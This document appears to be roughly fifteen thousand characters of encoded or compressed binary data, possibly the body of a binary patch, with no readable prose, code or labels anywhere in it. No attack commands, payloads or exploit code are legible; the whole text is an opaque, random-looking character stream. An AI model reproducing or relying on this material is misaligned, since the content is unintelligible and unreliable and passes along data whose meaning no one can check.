zNaIv*M9swqr&3X6(>C`x|6ayDfXwAN(&-WSzMeP@w9zXzeHU3#w=J&tGb7OqC= zJ6Ud$EN4-s|7U653;5^ddTr2~Z{hyj34EY37Y9r}Ydkd<9rNrJtb7Q2l&`g3{PzZ{TKuxPG zE3!tj)t%?cVZ|HV{O!1hyh{K$JaRyww|8w2s- zv+z9m7KY@R|6k#*bvqi2#jFFANY#-pzlbCV$Rm+@Ua`~0OC{14Sv0|}4u?(nI+L{f z4BCyFobU&ezS`_ZD_Xv$;AdmLUmZBXzwX>k*Yjv1CVESf7jL+f*%aot>cGg&S0Of& zx;Hf>+}R+QL99rGNw9ou1m&CMFi89hXi%e^tUT}b(0c#Cvg!BJMoU#y(U)bcgh8E* zTSSi|S&incUuQZmE3pG;Ho%+Nq+M#>-}up0wRC~`2w_NbxKIm~C#20{!FH^1*AI)R z%`^@On=9@P_Su6R$BZ%^9pDPM;U(PX#h#_(9K4G|Zz#OLjaKKYfMEr96IyH{!q*jk zd2Pt}(2=Xi@YKbgg32}Bebz|QjmMC`#O7-3DQ%%qs<#2eI2@PAz z)SPgsT#Ti2_Xu#V0DGdMH~CBTb&Jaj4WVKh%!Daya_5r;)f>mmH#-+0TNw{oQCowS zxH|P9sUvm;bGi(RMr_uGOqL!oZQu-%0v5tgJ)X1nzu6pY7c0g7FF~ckmOq*=Q-{*E zC4%x}dxMHNRl=B?sE{NEG1(lvRxp-_HlkV+Ze~VG8I(X)TI3xP+3z_6!p+o*QWmwz zEzhJK*h>?^s;vhs#rfw_QR68tSgm5{&7&2YYJ*8!lUZ`TKhxuyOgv-9E9#q!>r9FO z1&yl(=&n^uV}Y49=?KQce2$u$$JlSE_+b#Ylu^zo_?f^n_<-n2!Y(i{6cg`@fM{!0 zLQUhN3vFBfONPMU!bK`{Z54h{ye;1Gy7%k^1EC;db>1P33N^^e+4`=qeVr(07${pm z+lDow4oCWJ0FAW9Ro#&-5{01xo%HTFG;=P9RT35}8a&~m5EG)EkD^mp)e#rGY7({n zsq>ft`HtM_669VEt@9ghaP~gl&8BIafm35OSm_8{y?m7CZ^E#B6_7D)967)Jg=u~^ zYl_7^cMrs5BDes6o_(C2u^JoWx!{-%f)fv;x!_2?JN@k8(H85QhDr>hlwb%F0|`?w zyc(iaqi^9R9!?axDVLMFoNPUl-A+g@!vVpyeD=V^n#C{yax2jzqUWwBPG zQHl0J!f<`Q=rm`iMHIrN{hQ z#9ftJ#a!u6;K^XKPSuFLLN=$ym2&*SFS&W2v5X)mB@TX&cX*6iNOlj59edkt%Q`f;*#3Kt!bD>3Gh|4&<$ur=9}=&D z4Jem4J0b4%Ac+)O4LzhtPzWf+Om*s98hA5(Zl3BC)Wqpn^QdTYWzsr;7qPHYuGPw< z2E!%uH}nWWi&4D}t6O`!gm#DRBOjrEH`2c$__dFetqtRw@>HjP7)!B_^+1pRS7tH1 zR&@md;t$fI#VerfJy$d1P9*I1a#df(Zi#(%g`28r34b5MK`bC6W(#6zsH1Xfvy^C` zLSw>OMP||Qnb|XS?1>3A#`;{_6MJO8im-6K0&luw>Kw^8Uxix9F?U4E)vAnm8gR6s z$lIT{sN6(*QpO9bZTE5bX^t71QH4CT68g|i>8cdwYi?hUn9XqHMnuzE6?3Rd_IJ^- zf49k$3-6Kw26l(Z<=g=&JuWIr#1r zWN}In5h8RAP+(CmK27nw5RDnwfuJZ?@MOgPRjz@lJ)&y)X2(Hxk&iF~=B|2=p zL@#W72mU|Q+mt)IJ&>4%JupbDWadBIo9)fr9!Sj6Jutj-Gw}LCV4%MPq8sFzn80OY z%mJDzTG)2el?qNM<|*{Ys|MLwY=Pa%yl}uUC0yi{9eq5k_pY*J<8FU*8v(37A?p`x z1jX!xTn_sZ-QaRqVhEg&n2X6HITz>Q&Yic?cG;`6CHX}yVc^~7lhzb=V&}TSLW0#c z9aHR~L$v|dqfFJm91KO!3JcjlA74Np{kNjM+2p>3`*z!u*l_iqMRycG#?=V;Ewa8$ z1|nVNIvhs81Z%0fIp!bYamW{3 zz;;&`MkS_;qaA@_DB9)yXm8$s?*gjCED5MwGs^ZV#tYuQnEtx`@Yl=;t_x&d!u{sA z8uW7sx=dy;MCCsv#NB@rTecx4m*6fYN6#$NQ=#Z5pac_p5#uXofzQ%ZxwG~;p6Ryy z4-RG^F;2DaaFN(&MDQK^GQYp^TSd-Ht+?aZ5k7`Mxrg!lEX&HKgt z&`IcoNx0AV_sGkY;-2s@U-&$g_N>*))+p5%XUF~yd0wM`oj$kj%7VDt)#n;#e0lN>H zYm=0dQ`27}G*>%#^2}WA%tODg!Dk(MHh~7VFq~}s^f-8n!slqZt@S+^L|Mv}4?87J zz#nFrBOM^MI#xXFoG#&$7$*06Q8*FY1k&pDM#cnZ`>BCipW`0Nsis(8V_%M${BCwF z$CH*3*0;NmYI-`sSt5$| z|G_@*ikCCCd;MAWRTu#CXyQf>Yj2Uw{Bs-)#;=zc|DWALH2KGSlfPAx?_j9Mua_AA z0g|_F74oL$+_385SQ-8cTdVWQyy$3D{1I}MpjzaRfvsBpt9E!MtCxdvUE>O-$|2`z zp&wqh-}Sw8Gu=GIayft!lmqa|sc}s!aP+v`hOEx)#_H zaV$_S45M-vxgFJI^Lhox;T4FsS>{%Nl(rCbI6D|$@3paA-ZE965?=3K;Nca_kI;8t z0UQ$nCTh8}Apb-rDsmGIc|0MVTZY{Oj!XrfszO2tg`(sJm)O^(i zeoddPALTI1@kQRbrx9ihR*T*trvH(R>?f}W(9bG6QT3(>N)PXS?qd0bJP{k4XT~kXiNri7oC4PF9vR?Z=)ozAK?z^kRl2K+Uy{9Px=K!}mW zyI2JIiN0z&b~a@DD`kz!u+L)dm5w#{E+P zq+95gqPpGweDo`LA|s~iQJ{PZr-MtVpmipzbR15*+#Cqbkq;y_e5-1>jH`}ja6U0ZUfz^VO+!vl zt}bkvBp|uVhpqGW=S|IHfKjTFVAzTi?K zJ(iqMk`q=2zDRWVn!!HGLd{`eS#EfjFB;tPK)pD#VU*qTXsi#F2U^!i^H4r(>9aqW z<>{(llv!CLVPw|1j1X3TKC2E2#ikb5Ttto#6aVOHCq?x0PvUn0zxoyISn77x3ejHEWGfJ|>?5763;Jrf<#n+)o)F4Y5^7+VEy$aB8!yuQqm)*?YvJA{On4Y4f+FVARVp+Qn@Rch*7Tm zpcVI!<6##5qs4`5P_%H$l{<}c@_2ciwm(N2tB!)%kM~wC?-|c-dr&8iy$bx&`Y!k= zpN=oI{%Rtf`IpHa*ya7FV|S1br3mzQzXkelj$^V!v?r47@9?SD!soX_c2$BG!Hk|2 z4^yYtPqH*>ASdz~e2BGOY5kIf`9wN-?RP1`lw%eZ_Qy_PiPIYE5~rEg$Vy)1R=8EJ zbV~3ODO0Wgui++?_^FzBV5EX>ssZ~jJv%t6L1q@GS^j;_8 zB5chiafxT_R&{34aOT32Dr}RuB>LHV1O}@dRMYB7UicI7*wd)zw*n7(0W_i4weyME z=#(G5T)Gkv{;_0N13;=R99}D}Cu(C;>!XQB7AJN$PLpaeR4tB%E-yGeF@<^6yB9dS zg7&;t$6svmF=yjxHA)wJh25dKe?m>CS&*5fQ^i@P>)X&k&1`)3Lp&SHCgQ;l$q>8{ zuqxEq@NVWsi~@;Wwv0jBulM9L4L%gw1ZE6xo*Y~8M1!?G2{l&L#2hH#^$Yr+@Sj6| z2}r03ra(-uMV9@PS`HPQcp>H8K|d0~t%7N>!Wl`X$`>P3+wIcVRuV{&n9&{N!n6BA z%R$DO`}xs~I`pK?YO#RJ!44BBH)vvO98(^$E!yY$@N;2AH=S^eZM~$_D7%x+59BR3eZ5+coq--S|PUCNuf^f4ZPIfUspK^j>)) z_FnS6Uh<`k-FPU=$GsjHa#`|Wj3wdZ0z!Tklcg$pO$noUlPs--qj`JS z2;<2TC~B!>Jq!kGjgkionQOFN=J_U`Z?HaexHKta*mO8W>;T5B6T+g9ELO$Kj?m;e znimh7mx*vW)+R++Y;mH3S^QR_Eo0T}qj7T9`YLUEBW-J4M!jsyLL&QzGGDz815cWw31t`DI8LEkePx<6_)e|W%o@~qME7_K_mrA5_ zN&iKx4h0P*QY{XrKv)GiSI=m5Y|%>Qi0X*kE9NSLm5E-ZoTN0jt0d+ zqu?^&Qjbq87-{Qv+Ipw7bueZ(C=O2Ry~F!wc3IBd! zHb^}8^($-(y`2E!{{A1%mvHihl(Wmes~75qlElDt@!XW@til zK+Q(YR=D^WH{b&ms5jROnwKhcn~W+$c2Bp9s+GAuoH|v9CECFJgX*m8v;F@+%WBfD zy977f$}mCe-_KMws<5!+#jJFiead(g?aP!96&j`xxEwxl$u=}pYtfKer$S33%5e8UISPZ zOI1Y?la%&mNt}LG2@I?}7cC|kDk~m}sorrjc@u2ry_{-YM5oH2iLRz$Zd#m>dK7n7AsLepYO*Hmy2z2|EuUrdE+R$j`D5ZH;isAgq!;)bT{GI2vTamy)hd2ku| z%aztoq~le-wc{gR)f=&nk4V$1ZFw}86L`Jsdc)rE)*G4B=`YF5T5NPQE?hJk)xGJT zhCOzpQH_kokHR<^4T%Ux1NVVkzt!pk84CXnmTLVH3AMIbz&YIM6Sxa5r#scDY4_=; zWM+?-2qE+Ags%4Mi@U_WmII}{yQ>*AJk7*SVD@DvKE z9C1uH#7|58+o->ccu){VdoQT4>Lc#22UkOimq({REn_$uTqR$)D-`_UjRgT^ZM{pP zRu02?TI?D-%KUiGa&HY6r`H5}m?6<>ji(yrT;B|+ zt%~vp>4coPw;mwWRnZ$I@2KUCw}pPN5g1$`QmOEbE@3SFbR+D>-;-{aMW&k!tdi-_&pee>)g4P^lv3xWa;}6 z9xdkygp1O~;gR%mu03Az$R3r{;f4B@skPQ7SI4q=KscB6-&}7L1qYR4#`>cKg(dHH zP;G*7hK#+9G7)bAnDO?P7^tZgND#lwi%_^cT2JlnW(FXQ(6*Sg^%XA=X?Z`ZcTqOqNCs;C`sL{LJP zQ@kx!ySM$6uEg74qqcE({(GRana5aq=LH?xa0{ za%P;n64w)Cx2&t@22bO|&N5u$;mROt^M7Ym`O3qL)}0PoRNXUa46e|JNAY|I^EST$ zE>0q;;>QLD{G^&qg#SUSSPN;ntgu^}&+$2_XHoI&k6ZP3JcOf%0^9j~s^tds}Zktgk)svldO6LqomUL757gqVZ)+j*^Z6<=3 zBiN4|0fQlpOa!-!z+VTdN=VpTV6zZ|T^PGt`skqiqD~RYvQaJDx6^OLt6A8GauS`$ zltc=B9x3NmKqsKJ#cN}~+GLsYg+PGWzMNEMYB@FYZTeVFV@|o*o1hsc`0t;_NPypV zj>Mm%vaOF|Cem#wyb>G_q}l4M;Kf##sh1iWs`wa8O9wl_%)%m6z{>=`VtJ~cSIi`- zN_W@)KpA_y+R$q2dRQ>r!4IA#Pn^R)oo6{~Cu%FoD(@DTQJZuvk!-i*V6Brgu8VJ+ zDSdorfMxBCM@s@{b{e&G*{<;^J8EAjRV=LMpWV&Tm8Y9yjk}w2x)8=+@JC6*H8*YE zpTaf<0-@SkH+imSwvsVAC4+3M`G^~U-FRCV7=c<(7<93M5Y&!BbGWAm60VJ|=Ocnm zu5-D3f*3NbJ86Je#|qxci~k)tPHUx+!dqQzlP|U2AVZi7UMUZovfws(?-}RU5E24% z8NW=oL;t)_*4-~4&%xQ+3mm(_SssG*te;b25@NUe*k3*_ng2SyP5NJN+79zQp3O_= zzp*$_OObs+HJ9M@%Ijw-!*+`xkAq)4V0;7Ul_N)T_c!5u`J;q3M}{Vrs)iB`aAt+w zgwTip%NDF;Qg<^_@!(kAW`585QOh|fIw}ZHYF=4@EU0Yy+EM1vf45W(`z~m)Bt|3& zmW5NnQ~6T9-A%mMVCY)m8isHz%GvpE(iN0#M4eIxqMYN9rXwL`I6Znbm@f7)N|?7$ zgXsk|B$AVg26HpZ$7o{~y4=snzu$r~#4^O#?49y4>WwzN`YMQdvCT=QmB{8#>-wHtPCb!&7{jjLTdy45b-nEDul7e*;}diRk`TGfAtKn)f*n){nF z2IJRN>L8px*@$+r3Aa9E*DIGfq89<8-BZwA>P6~9#EU<{)Ooy8gV5crjCH+mD8N zRXv}U_p{WEF?X=G&v?)$%T74UcASnDwdq8c)>TmT`$-G~>_3D7awSxjKS02IfmVz+ z%j<{srsZ7Tx|*2r>m}6p_zs@Rx3}MfS5^7)M%wp&@U+}(SWO!A;3E2Lt2CrCSK}F1 zJ-Giv-J8HiR+ahR)pe_GZArQ-NvF~aou(npB~_JP!jg2eG`k`KEsC^=AP5L57g7Wr zLP8KlLBMfW5K)wI9LI6o#brQTa2XYGV{LU@K|ydGb!`6M-*fJ*dn+9ledqnW??0bU z>fU?S=bZDL=RD_mp7R_yg0C=yBm0={oFzbh(_w|j-o7YN(Nxu@0ZW@Z)NM? zo59vr&!%c*I3@+7JLx^N%5k9zNZE_IX^6_-l|4(@H&HevdL{@7FK4FIMsdX9z6ZiT zV;O=ZTNBEZC2~pXrkA0uk#(5-r7qApJ~f$?XuUTAJ8~T?djr0|Xj{ne+2Y`Tp|E_e zxU~@7ZHUhWsKuwWw%xC_&F{(2>`MRi`2AaZ3jAY907VEcg+|CNTKpco9afUzdO*YV zI)D$JMnG^BKb6AOXVu2=l`(Kla1*_&>>_GOB6LI=A-t$L3P436B+A1M@IH#+D~{bO9OwmCX)%@QVkw`?oJGw8>G4f;+QQ_9t(1;YM{MKD_r zr2kfO+p@FEFc>AGFj##y%l0zY`V9sV-6@++XPTKGer?E zxl-DG7>SN2J^nY`OMcYCo7mche*j>YY!&dC72Y%5HY=Z&uwlNUyVsqr@~xSVJT0-s z`Xs=AM)>?o!{^-08qgV?#cq0JXLi?PS|4uMh27xsuY|`h7an6VS(l6;ok(a;q6d{I zL@W{fY=J~F2(o!X%7@z1;%f_}wAM3o6DSmt7bb{~c_yR#Gd5Y#B@{v$2oTX(^bc)@ zB={sqXLPScn?Gy#Hm!+7!kn`}g1|`?t`Jw2>5ICGLo1Lr9qfV<_qmlqh(gkD6btU4 zJh^Z_FV=^dG9`zYI5RF6!bb?InW>c78e}ulcfm!(@XBfv;R?r63|1=>vtRpA-oe=R zNoNI~#vbuMG+ysxVPXRuZ52NRL+Mx;EpOpFiR6eafm8oZ>0L$h)lv*^gsEzr;-2mh zL3i|_6{P-uZXZ0jG~`1> z*EqS`(AfVpmgB3!nB>yfVqSF{nl15_`sff2VBG=z*Fmt|x%>pY#ERTDcsLIbyXm~2 z_5_LJlAaxl8W$FVPlH~~$wKfMJHzA~_tofcP?8mV5J4;H?AY_zRg-8OFzwoWcb@M|$E7qaY2EcIy+!bH&Fd&rX7 zvt=_Iz{#7ztE_dLvvrE@Vp`#D1~bN&HI!pAx_jFh|Cvpm=HMv#Z&7}?(90l^Iq3D* zaRwpV!KwEULT(Hfuq?8BYRtfF1$i$d@8>ih%>!}+2Vmhe5RVw|gg)3-b!jUqbzN>H zGTi0EPf8(g+i3z#weVl47LYF`M)A&(bfop|RTs#ybds^%1rcprlUZ}96FaF*?*pz| z1($8(8pn9HfeYVE5w#5mIhi}#TZ!6{KTD;n>ppJ=Ds2vRS~u&@NHC8|LW#0P(@bze z&O|q^IM+HYTQw{$tcLXZ%^4E6@?znLKctk#IqMAsw+L0(S;o6>@k_-_H~XB=Yb-d7 zplUs<*0n;uVfD#b)o!YxmZA9RYc+Ep*5^M(fsHw2fltki;Al{p4J)t+^G zr{Hc>ib0=vWr1FdbZ9PdN{=SROe&M{M&fdIZm*mB(GK4xbi3J(mwh!uZ(W_Vy%a`m zzcy*RO@?;+`hhTNP^uw=k2@kl6m)BO2c-3LYB)FS5;xWj!Mw(zS<(hK8bmklc5QKU zxOEGo7|A`;?F>Ju@M8FB4RY(%^cWvAdhFaM;U$F2vQc`@FzFK4xHLNaI_Z)pK!>P5 z!`Fhh_}iFR)yAU)Ph3Art-3I_w7&ir@P5HH=gU0$Ixs7OF9`Y8GC8XP(qVXIvpXa*F|Om0-Dq$Ftxfqar}7DQLGJ&%Z>c+#{ZZ3x5IQi75-HI|A~L} zJ8j*K!gZ2+H^xm~TWw(ZmVV}~JijDdoR)2%ED&cvrAAiv@X~sE;q{;nS5cTMv>qjM zq2Vk^)5)BM)J2X=Udm*5?-(e$(JpgKveq^CZ{^W_t3# z=)?k2M%&K9?asBpl(V6>5h>wAZJVyB&=5sK#?HW59h)^{#kUNFlqh4{ShPq6uT%YeWm&>b86Pqq{x3QB|LWkc4($y8P4i$$ z;Q#dem^S>Mofq>Y;oq0)9~XWVvx#?489bPXG-m_}j2T&K~C^ObwHk4oA+C!L1v)1OXXei?jj{e)$sjF4dk zYev=ttKo?4#E}n$$4h}J%L1nkGliGDy#@mX6D#~wYmRRD4o=`G9bygE2`_UGPp($4 zwr*qHWlGMsFBe_vurHr@IUy#!W($05H+7!qO-ttKO-thGq}>w7nBb$2V2MZ@Mf~oX zMxd>2*Fi=;k`s)sfWAB{2!=Q+tX?UZmAM^y^uy07M|d#=td2#6zR>1MvT9)wF+b+9 zZOuRV&3JwEO@;B*HjOafiuCOC@5DyEp20o;NO*A$`TSe~59RT)dll_=vax8Ud`hI& zNzKosJp;UMt0btsjR=&fWFWd;Wh<*8d(Vj>}wG{eMYaGU->Etq+4<` zYq&4x40okTC)H<3)%@1>)xAikPT?TBTLufm;jv^}omrj9oDy#3)xlrzg4@~k7hI{Z zzU?*y-%@xjxP!;qLaPFU*;VX!x!e&|XHns{MQe*~+1G`cu@AVVX)+r;O8Yz*!;8V; z7JEH57~ahHgsiKw)ArnlZqZA4Eh?sw<>r=PO17i#PQQlZQ8YT_WEKGz}vA->+r^7QwQhSb7dbAco@mRGQ7r+^I)?<}N)jXTO{0 z$cJ4PKz-~)S;W%!C@~FD8G=x$!;gai3e<<5Dp^k}dDexyEVNvK*=d#2`ZirPqJw^S z>7^r~D}>~o3GYcIB+{C&Q;F7Bp79O5qN9z6q*059BsYJ6?iEzInfvs}nOC(uU@k`Dq2(EIVTXdtA(lHupRbn3sbR4*is8qPbr%_2Y4i9f5Ya^Gu_-dz?JSB z_+#rGz`lX)Zn44sRmJ-DJBCVB1^V_IF;tq9r&zDi>8(qIGXF)IWd3bv&p)Buo6
    _) zglop)s#q(gaYS~y{Sp3>f?WY&j=I7}nX_QYUXPQe^(QT;x`Wz^`7R}dA5u0~s~`Mc zD1=Z06O#_D$jAML!j6HHO;3)_OVp1Fx*)+3-G!Yn=!hBji%MLSJBAN|LVn z+G6+$Ub;(#@UJ8@IY=)nK=?{Rn?=1{##^-ixnp~|*gzX%yB}Ap-+C4C!60=<`@c<@ zjW2fVoAwAEJlO39jly)=tm`VpsEe;E^x@*^AU_KUl8rVf+lVA_a2R(muSfq_1xzq_bl+`?&^?4ZFW~ z)~Mt!^qrr%pNFti(RwOaPYdV#lEP!MXjv?#^#~&j39`N0TAtt1xLD>C0ptvozpK(I}{rO7iWuO_fxTZ|xFQQW3uW8dVZaT1GkFRzF5- zf>1`vtA3qMbR^&U`#{ot$Lc%I>T3pG_#(LC;bzxb&(`(u-Y!e+~-$77OVivX7onDg9=!w0KF0LkOFp5fZnpx5AfT7BIp_J zS%zi>Bm9mWnVtO4Lgw6=Un*5lSI}>E3KGNf{x*pf!M&;d1!to&A-F0+XsJ&z7$xRR8?>XFCMtU4r_gZfRmY_?t#qmK8Q1|z(?mOA9bk&hz zeUBHeuFhF9n3U$Pyr~}=EE9NjV7K+@wJ=4iK$-J@OfXgk-zUJ5*gA1!w!pqA7j#og zqm(V=f*#e^`Ua^at488BMCR~|eCs6aw|RzNb{_#wcdFhEJMi35K0`m}@I$_M#}4 zH+&Oa-d*2NlIvxbCx2SiSh4=JlJ#N%6AV+qa9`f?(fYTLwB&?~w{0(*%EcDf-t6Q( zal^v5syu)ECI$sz^xO1>@N!BHo8|DoImCx793_EnHu=ykeP$H6ar_lz@~72sbf-TX zW+X~s5pE*9hGObxA<33mWK{=ftBhX#*&I4MlMq)r%BIG8LQYkhqUCpU0?&$8W;-e= zb7`F36%-W=;1Z#3+N^DHSJg*~+V;({$nHpdVP^ju-CW6LZq5AX)v=#1r^ma?a5v?L z0egS*!yp6}-bIcW?oSI)J?j>DqL=vL!EvKdY(39)g$;gVD_1@eXYv$AEj&_f&6y|c z@LD>l%KE*QQCmyk9z02+^u77;?Zjf&hEChItIB2AoXr2O%!)l+n_|K(8-PDDCi*k4 zZ^NylC~esA*a?v&&Iu2(z@LHx;o*8Uuxui@M5DWr=sEx}Z*g;)KdliI&BLvI$vzzJ z&94&~C2}8!Qr|bcNqv^c34-RQYMr9`EkSsiUQ^k^7ZNZpL+ejeFkB0N&%;Dh zb^<>f2DmxRDR(YgzLf4}Oj{4A$ZYr{Jv=vkf69Bg)yts9UXyc%ZFq7L)^e;ho>)1X zSiVi8WNnl@=@QDn$8csl^EC(msxt5v6{xiY@;1NnBNXBcmQqJ)F)vF zLrHmH?F2x<0Z`}w;OZv;fbyL#ZzQwyKv!?y`f}!}tffDs-d1IACMecr6U;-}a|gv` zr`6M5FHT6%gsotFnu~CfZa~@9#50>nTylm!vP5J9WaDXk3)Ym}9t!>ZB4n#JwrGS` zSpjvI%p3)WlR+J%Tw7mJnz~E#qOXM6Sr=fm-b0^-KU7-JZ2jHBC0*cN=mHzcRWh>T zPYVKfpK#uh_Z!J;CtE6B!RTnctKbqF{f&%XxzO5KIAK7-VY505*NJfUJdU!*^bJ_8 zbNXWw^Qgvif1W({vq!jr{S#l9V{!-EIzIXe9$H6PmpHuiGoPYge?-4VLx>PDTgFy4 zFMHJftz1Cihxapk8njSOIfGGv5YOToEQ=7g{8JBx`9;?Qa0tzy{xqP}f)=b(o{IS# z6VHHIk6kui0n)9UDJxiqJa(%7t#vBwff+RjIB{DCxMQcjZ$t|Ai4Pm9t@&f8&Y=O& z&!A|R>or&B{cxT|T55w!qXUw0f*rG6Z&hp|W8S81T>I?F}_UoGX*)n}OyO`I#NX?OT6dgTTfP+p&- z4w7xy4G8)P>2e>D50{E#&)x&qQh{r!giiY57xKrl_6NIw>I|ftFIyI!@=nLMh+g(F zkN!*Z)Fz)fXo8c}+|U|Wmj9B>kBQGuT^w~|mS)M5W3Fa$$EjBmuH7X1$E?XHjn3e2 zC12xjpg+uW1sPUZm@tm;W`>W2a09R5I}k%QmgG(D=nYWsKWQT$*?alslldot&4wmC zgw#$is*#%AhnZq#0($ zxn2wARPxP+%Q!pUnWd~Or!v;VbBYN#V^EiWk6g1mYxo)*Nk#Z6dk>}w-JbQUMl@UU z3*7apo;@euO1YWeL$;t{Ysl+`#w+Y4jQS@?LwWpuM#vA} z%RB5s=XR(IbBJBZ)Y!wtIPR-xy9(nai^eq?-=hnDkfF7=Pu<3rm*$n&$7-QH60}c` z;0r82&9fb^(ci}gN&wg{g9Cu8nb@|^K)s@H(6$h7E{q)_UJQ5h`<>i&HHY0r0tnZZ zsu7#cg)NUb^e$6eCBF0Uk!1Y&ZJFlpoVkE3VE+;mY`+7W!j=w79vV@3}hFDrQR*V+<( ziX5A6RT00(FrzT}*LL8ua|Hg-0xPTIlrq{F|C$A^Xb0l)H#7cm3#_*TUx2O0_`59d zpmyLa_JreCTHw>$fe$J0r51QzJMbOi;b2{fP=LpvDwCorf4@S zvCKCXfQ{N;QBMYeQfWg1{oY5jUGuYA7>VmOhz7TOnND_q3Xkb{|GR`qE8DK>bDO6C-tHLWM=P}kLC)9LPAlCA3U0dPf)cXRF-e+&f^<*bz(4jl~l& z-TmgIQ75}5?xI6Eo3$?^6K-H22e;hjLN*aHB?FrY-Fg-!83@KTl!MV{&3!JzLyV2o z($q-Jk;`?*^6K)aI|di-jyQT5(6$kg(`6HF>~bk$e5{26?tB4f={YmkiJ7jumUng+ zN2VTYlB~#9SM;vz-NlXK(GKiY)m0JLD;EaaMYnznEW`Mj5#-@Rd{kEio7#}CdeT71 z15NMh-d)`U(7{ZMo>#k;?Ws8-E3(#7;qIFHOYtzXgxCJou7=sWy6Ttd!--fD($@3_ z>x%|Lgeg8gZZ-=vZq$orjU5l}+r7Gba@M!ZhcT)~Ksvx$JHPBr=iAyR5iVc} zgX(ZH^{gjb-QY{#hU$i@D=qx9PBG)>^+hLK_J>AzLq1uLO!+quW znhyl$KQ~0sh6PI<7WG)yE_e?|n@1dN{&Sl)JBR_qhTDBP!Vq%orx zk?mPS2;-elKscsJj8t=l`-r45fpJqma@?0ZH%s@w8@+cwyie;snhZ*b@`T^fdoGmd z90MdHTx)HglFigee z;I-aD(a|}~T!y7E^Gl_dE?zhta{=+THsZ!?Q{qzCk#-3fBD~dcErFghPFZ`OXo!+o ziFuY`PMdY%AZ0WKwWf$2jZ(C^DEyPVJZ)Og=!^1LZ|4G0GTTUr_dSkw{L0$>T{@X| zALJ)9rZzU_C$psi>Cqw;><{80x6{06^yUg%;b7XU0Y@y|)_-8+jBNNPnuiae@Yfol z_e1d<104&Kf0ON>`ETuC24?=~wlNo(DCQ4smKSEjZ(yIIR1IWOde*|ffTtsGjx$dy zZ?h*`iwbc?Ix*GA73_^Zq(V6@jOC~o>XbI4Ycbxo;q$O3}~(=(1GUodoMG`xO_q5;v52@ z6Pr$YWmw`SwjQ})9AKNz0o?_(XOdRNaDr=wsXCGk*BO3&ns7K5Y$9o+#tx(%=8V8i z^sh3Nps6XOGEdD-p{~jb%kN-!GCSSHhFY5-;1m8F8o`-u!)ZV?H@d@9RIPHeQ|NZH zjR7YC4h{f;nk6*02a1GAHXsXc+gC|R^q}FRszrA2LeC`2C>SsBrgUbXebI}(DJ&Au z=rvFErVwd6f40YaQ>*lj?5ugDH-+xb#9qw zmGyOTL;ZOTMQ3K|biGV?4FlzHIA@2;@RFhJo?wl(hX){-)=0&&=gZOq$2Hz)ju`g? z=vyAwGyEe9r#R51c)LGH`n`%#bFLTea2sX4|nh`T)eDtr6K6-M4 zFlXABii!*zdoz;YVfdJ4`ob`@qaGiI zPg4RgD0Ogc&C zFXmVQvFLJ~aPf)NvaZ4@I|;Xm=_>vdS5~^?f@gW*SwuIVkC_P1;84)H@l5xDfao%X z-9bk+wy--6FXyumJVj~NbIdS&g`yAPGd!C&S5#v_2M`Z7jEJ&?A+g!%|Dg>|Lc%o` zsPbL<+9+oR1;gN$k1+nO5hfWGg$O5+eNS9N1n;tK42~!eaCs^KvoB5y&Y z$xeNPK}U$Y59iToZJ;qjS=T z_+H86wUS1%?(zEU)I-$MT%I)!t=XHM`i;KJS@RGC^|gyVWFxbTcIgjFEYyf7@%ADN zgTC)ozdCt$AyZmn-NKEjjE_JA zGqKLDntAhk-FwWgVV`cA(wTpwNZ$XM4w!l${XFwQ0_2j~#q_&x>yrk3@>}7~v@($^ zQS(K`1piJ%h0*aX;NC)Hhgrz1SmVYF?hgF56;02OT+iwSKqUOU&$}npfcotRP0kCnT}* zY^4jAP(*qBdIJ0y<5T#3K?i<2WI(#*7L9En`R|3_cbpi_j>h2xN%cOt-!tQ&F?Xzc z0rZA#Fla9p`?Fef&#@ZY>(Tspd3t_Cli~QCCWF%#9FuwZx8k|5Z{|b4aPQBFRvONM zN<$oTc`^Aocyci|>@AK3`E%-{_8C^X0~_E)=v29fanY_EFZe2x|3XNV!m`sDe#1}D zbs+Ld%qyL)KUvSAdXlYf`p-n)JhSiV2=ZS+mDD#!^n0W{)y>Z2fx} zhi&G3X?RYd&IQvgh`sx3DgTwS*Dz;hP8^ML(EO^HBeUeg68hosk^nZuFOu|qGx}0ii;1j&92xtM>AJHqK4o> zt97NYV%uRQ3J}tz|HWMBUtxNR390uen=S1cTNZ!YN6NP4Il%NMV8931%vO4bOLk_S z!P5)hPdCC{Oca7s$kW)6oz60Px^Mc~`3z2!{b{9}IY61P-4%`&3$4$B7vX>KQ_uES zAWhP-;jMWY+@{M=JHh4`-7Bq|*4XBcdp#%qnK_O^O4ItC_$T0YueR(@9Y9x@Cxbn! z`RQ|+;^s{$c)no6>$?lXVSpFBh@ksk+0JfKG#%e=9FI;yUZj_e9mU%TI?6U&kx^uQ zH|{cAt5<9yQss6@Qxg|Sl08V${Lc19FLxczdGR^6?JEln4%4W2+;4a@?XPVMZ{Z=P z$I-RFX4W^I|D`M*kAJ?uLZRr{#J@&uJt7yQ>HAhVy1l!8n@}tu+Vj{vgihN0qCYF!`rL4%ik;U%P#9x7}WZSo?heZ{jArtpon09@e zw)0w?R^ihEH2enTmBM2HLiEFI)FBs%E4lqYKnAd+*^R}sAA1rU*#FHgcwHP^+~KcO z%gm48H(5Wp*&{#Td}5*zc6W&;PI#j`MR67lowI#q8Ym+?#rjIzwHx8Vsg|Y?qAqa) zwV9^@IdMjD?!moLF->uzqrxAV=l3B!&d1Yjd(r@nX*`}9=fnAbCSlj`U*=tZ+IwBZ zQ*!v6mrPab@2$CGn|pSI%ElsA6SRj#$)Gy9W1aY6BQM%t$5Q<@PN?tM6m_QHi+yKI z_f6XCM0?x4uu2DqV+a6b!I}ca$p+6w2r5VO5fAZxctPb{fo=2`p?&`&JiVRbVtVu~ z-YetB5XJPkgO6Se0)k_~1k72gc{Y1S5JpK*npTf*+KtyNj+)MZ^h_L1A7x7z5Qq>> zjPu12ZwASEW?oS;Xr2Gjo@CrvPWm`ePCAz$dhHdwD z8n*eR1aYdR*0<^H@H_mB-wxW*i`~Hs)r;Q-&z@8-_TWLMJA4K}HPW5ivry;uL?y~l zr?DaGK6%$}?jC)}eSWhReaLTqZOk3b?^|3ix_-ngqNlpJbtRgXz9o3ky_}a~a=Kqm ze1qcvXD!Zw@!Xp<@Yf(le;;1V=8t)A$;f$atf$%=u4iCdH#1Op*6oc(uIk21MiXtv z+^H&E_Q5S@8s@2V&&-&I#?5KFLoANJ8%~}^+b8~!-i_*VRk-HJweGy;q(;jY(bRYA z8fYytSlS;QGN|_3-N(`4f`iya+2H~+eH}I}92Fb{z8IfAdm7U;d?sBr&Jo~Ds^s}K 